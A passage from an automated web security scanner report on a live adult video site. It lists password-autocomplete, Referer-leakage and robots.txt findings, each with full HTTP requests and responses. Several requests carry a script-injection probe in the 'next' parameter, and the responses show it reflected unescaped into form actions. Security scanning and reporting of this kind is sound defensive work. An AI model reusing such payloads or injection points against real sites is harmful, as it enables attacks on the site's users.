Date: Mon, 15 Aug 2011 19:04:10 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m5
Set-Cookie: adNum=387; path=/
Vary: Accept-Encoding
Content-Length: 59237

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>xHamster's Free Porn Videos</title>
<meta name="description" content="xH
...[SNIP]...
</div>
<form id='loginForm'>
<table cellpadding="0" cellspacing="0" style="display: table;">
...[SNIP]...
<td><input type='password' class='inp' name="password" id='password'></td>
...[SNIP]...

5. Password field with autocomplete enabled  previous  next
There are 6 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


5.1. http://xhamster.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:04:10 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m5
Set-Cookie: adNum=387; path=/
Vary: Accept-Encoding
Content-Length: 59237

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>xHamster's Free Porn Videos</title>
<meta name="description" content="xH
...[SNIP]...
</div>
<form id='loginForm'>
<table cellpadding="0" cellspacing="0" style="display: table;">
...[SNIP]...
<td><input type='password' class='inp' name="password" id='password'></td>
...[SNIP]...

5.2. http://xhamster.com/login.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /login.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; prid=--; prib=--; TmplClickPopLayer=1; sc_limit=1; __utma=26208500.868426551.1313434646.1313434646.1313434646.1; __utmb=26208500.1.10.1313434646; __utmz=26208500.1313434646.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); adNum=386; mdg:uid=215%3Aa2

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:58:26 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m3
Vary: Accept-Encoding
Content-Length: 11903

<html>
<head>
<title>Login Form</title>
<meta name="description" content="Login Form"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free
...[SNIP]...
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0 bgcolor="#FFFFFF">
       <FORM name=loginForm method=post action="http://xhamster.com/login.php?next=">
<TBODY>
...[SNIP]...
<TD style="PADDING-left: 5px;"><INPUT size=16 tabIndex=8 type=password name=password></TD>
...[SNIP]...

5.3. http://xhamster.com/signup.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /signup.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; adNum=12; mdg:uid=940%3Aa5; prid=--; prib=--; TmplClickPopLayer=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:29 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Srv: m10
Vary: Accept-Encoding
Content-Length: 29083

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
                       <FORM id=signupForm name=signupForm method=post action="http://xhamster.com/signup.php?next=">
                           <INPUT type="hidden" name="prev" value="">
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password1></TD>
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password2></TD>
...[SNIP]...

5.4. http://xhamster.com/signup.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:04:00 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Set-Cookie: ismobile=0; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Set-Cookie: stats=74; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Srv: m4
Vary: Accept-Encoding
Content-Length: 29184

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
                       <FORM id=signupForm name=signupForm method=post action="http://xhamster.com/signup.php?next='"--></style>
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password1></TD>
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password2></TD>
...[SNIP]...

5.5. http://xhamster.com/signup.php  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /signup.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; adNum=12; mdg:uid=940%3Aa5; prid=--; prib=--; TmplClickPopLayer=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:29 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Srv: m10
Vary: Accept-Encoding
Content-Length: 29083

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
       <FORM id=loginForm name=loginForm method=post action="http://xhamster.com/login.php?next=">
       <TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
...[SNIP]...
<TD><INPUT tabIndex=2 type=password name=password></TD>
...[SNIP]...

5.6. http://xhamster.com/signup.php  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:04:00 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Set-Cookie: ismobile=0; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Set-Cookie: stats=74; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Srv: m4
Vary: Accept-Encoding
Content-Length: 29184

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
       <FORM id=loginForm name=loginForm method=post action="http://xhamster.com/login.php?next='"--></style>
...[SNIP]...
<TD><INPUT tabIndex=2 type=password name=password></TD>
...[SNIP]...

6. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:04:00 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Set-Cookie: ismobile=0; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Set-Cookie: stats=74; expires=Mon, 22-Aug-2011 19:04:00 GMT; path=/; domain=.xhamster.com
Srv: m4
Vary: Accept-Encoding
Content-Length: 29184

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<LI><A href="http://ads.sexier.com/services/AdsRedirect.ashx?case=Xhamstertab" target="_blank" title='Live Sex'>&nbsp;Live Sex&nbsp;</A>
...[SNIP]...
<LI><A href="http://xhamsterpremiumpass.com/?from=t" title='Porn DVD Downloads'>&nbsp;Premium&nbsp;</A>
...[SNIP]...
<li><a rel="nofollow" href= "http://www.parentalcontrolbar.org/" target="_blank">Parental Control</a>
...[SNIP]...
<li><a rel="nofollow" href= "http://twitter.com/#!/xhamstercom" target="_blank">xHamster's Twitter</a>
...[SNIP]...

7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: xhamster.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:31 GMT
Content-Type: text/plain
Connection: close
Vary: Accept-Encoding
Last-Modified: Mon, 11 Jul 2011 14:48:58 GMT
ETag: "375ad4-104-4a7cc487a8a80"
Accept-Ranges: bytes
Content-Length: 260
Vary: Accept-Encoding

User-agent: *
disallow: /send/
disallow: /photos/send/
disallow: /user/photo/
disallow: /user/video/
disallow: /search*q=*
disallow: /signup*next=*
disallow: /login*next=*
disallow: /photos/ajax*
disa
...[SNIP]...

Report generated by XSS.CX at Mon Aug 15 13:11:34 GMT-06:00 2011.